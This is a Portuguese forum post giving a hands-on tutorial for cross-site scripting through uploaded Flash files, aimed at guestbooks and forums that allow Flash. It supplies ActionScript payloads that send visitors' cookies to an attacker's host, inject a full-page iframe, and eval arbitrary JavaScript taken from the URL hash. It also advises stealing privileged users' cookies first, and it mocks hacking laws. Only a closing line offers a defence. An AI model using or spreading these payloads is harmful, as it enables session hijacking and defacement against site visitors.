Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

XSS usando Flash

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Matéria XSS usando Flash

    O seu alvo não possui uma vulnerabilidade clara de XSS Stored, onde você possa incluir JavaScript. Aparentemente, não possui falha nenhuma em web, mas naquele livrinho de visitas ou recados (e fórum) eles te deixaram incluir Flash.
    Tudo bem. Como eu vou aproveitar isso? Não vou poder ter acesso ao servidor com isso, visto que Flash é um client-side. Ôpa!, client-side? JavaScript também é!
    Legal! Vou mostrar aqui o que eu aprendi depois de um tempo de conversa com o pink noise, agora super administrador do FH, logo após ter ownado o fórum adversário. Ele me contou um pouco sobre a falha explorada para esta ação. Antes da conversa, o que eu entendia de Flash se resumia em "absolutamente nada". Eu tinha o Macromedia Flash PRO 8 instalado na máquina e parado. Claro que ainda não entendo quase nada de Flash, mas isso já é o suficiente para aprender a explorar essa falha.
    Primeiro, certifique-se de ter o Flash e Action Script 2 (ou superior) em sua máquina. Você pode baixá-lo Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... (não dou muita garantia deste link. Baixe por sua própria conta e risco). Agora, vamos fazer nosso primeiro teste com o comando geturl.
    Código:
    getURL('javascript:alert("oi")');
    Aqui fizemos somente o básico: mostramos uma caixa de mensagem escrito "oi". Mas já iniciamos no JS em SWF.
    Mas, segundo o próprio pink noise, usar geturl() pode nos limitar. Não sei o porquê, mas quem sou eu pra duvidar, já que tudo o que sei sobre Flash se resume nestas linhas?
    Neste caso ele me sugeriu fazer o seguinte:
    Código:
     import flash.external.ExternalInterface;
    ExternalInterface.call("function(){ alert('oi'); }", "");
    Note que você deverá trocar o alert('oi'); pelo código JS que quiser. Veja alguns exemplos:
    Código:
     import flash.external.ExternalInterface;
    ExternalInterface.call("function(){ location.href = 'http://seusite/pegadados.php?dado='+document.cookie; }", "");
    Código:
     import flash.external.ExternalInterface;
    ExternalInterface.call("function(){ document.write('<iframe src=http://seusite/own.html width=100% height=100%></iframe>'); }", "");
    Isto também é interessante: Note que nos exemplos acima, o nosso arquivo fará o pré-programado. Mas, seria legal usar um arquivo universal com o comando que você quiser na hora, não é? Assim, usando um encurtador de links, fica melhor e mais rápido. Para isso, faça o seguinte:
    Código:
    getURL('javascript:eval(document.location.hash.substr(1))');
    Assim, você acessaria:
    http://seusite/arquivo.swf#alert("oi");
    Lembrando que salvando como arquivo do Flash ele não irá abrir corretamente. Para isso você deve exportá-lo para SWF (File > Export > Export movie, podendo variar).

    Como explorar isso? Veja pelos exemplos. Dependendo da localização onde estará seu arquivo, não é interessante ownar de primeira metendo um iframe. Seria mais inteligente adquirir os cookies dos usuários e, possivelmente, de um usuário privilegiado. Pode também ser usado como um simples XSS Reflected, para enganar o alvo pelo domínio.

    Outra: dependendo da versão de seu Action Script, é necessário colocar, antes do código:
    Código:
    class Main
    {
      static function main(){
    E depois:
    Código:
      }
    }
    Isto é tudo, pessoal! Moral da história: não permita o uso de <embed> no filtro HTML. Se você precisar inserir vídeos, empregue um dos módulos que inserir vídeos de fontes confiáveis ​​e impedir a interação script.
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads

  • Font Size
    #2
    Tb já tinha conversado com o pink sobre esta falha, não muito tinha conhecimento sobre.
    Muito bom, obrigado.

    att.



    areax@hotmail.com



    Comment

    X
    Working...
    X